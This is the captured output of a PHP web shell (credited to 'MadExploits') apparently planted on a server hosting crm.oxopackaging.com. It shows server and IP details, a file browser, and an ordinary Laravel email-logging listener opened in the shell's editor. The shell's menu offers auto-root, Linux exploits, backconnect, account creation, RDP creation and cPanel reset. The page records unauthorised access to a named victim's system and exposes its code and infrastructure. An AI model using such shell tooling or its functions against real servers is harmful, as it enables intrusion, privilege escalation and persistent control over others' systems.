Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.159.135
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
crm.oxopackaging.com /
app /
Listeners /
[ HOME SHELL ]
Name
Size
Permission
Action
SaveEmailToDatabase.php
1.5
KB
-rw-r--r--
SaveMessageId.php
690
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SaveEmailToDatabase.php
<?php namespace App\Listeners; use Illuminate\Mail\Events\MessageSent; use App\Models\Emails; use App\Models\Deal; class SaveEmailToDatabase { public function handle(MessageSent $event) { $swiftMessage = $event->message; $headers = $swiftMessage->getHeaders(); $messageIdHeader = $headers->get('Message-ID'); $messageId = $messageIdHeader ? $messageIdHeader->getFieldBody() : null; $to = collect($swiftMessage->getTo())->keys()->first(); $from = collect($swiftMessage->getFrom())->keys()->first(); $subject = $swiftMessage->getSubject(); $body = $swiftMessage->getBody(); // Find deal from subject, body, or context if you pass more data // For example, if you passed `order_id` as a custom header: $orderIdHeader = $headers->get('X-Order-ID'); $orderId = $orderIdHeader ? $orderIdHeader->getFieldBody() : null; $latestEmail = Emails::where('from', $from)->latest()->first(); $threadId = $latestEmail ? $latestEmail->thread_id : $messageId; Emails::create([ 'email_user_id' => $latestEmail->email_user_id, 'from' => $latestEmail->from, 'to' => $to, 'subject' => $subject, 'body' => $body, 'message_id' => $messageId, 'thread_id' => $threadId, 'order_number' => $latestEmail->order_number, 'date' => now(), ]); } }
Close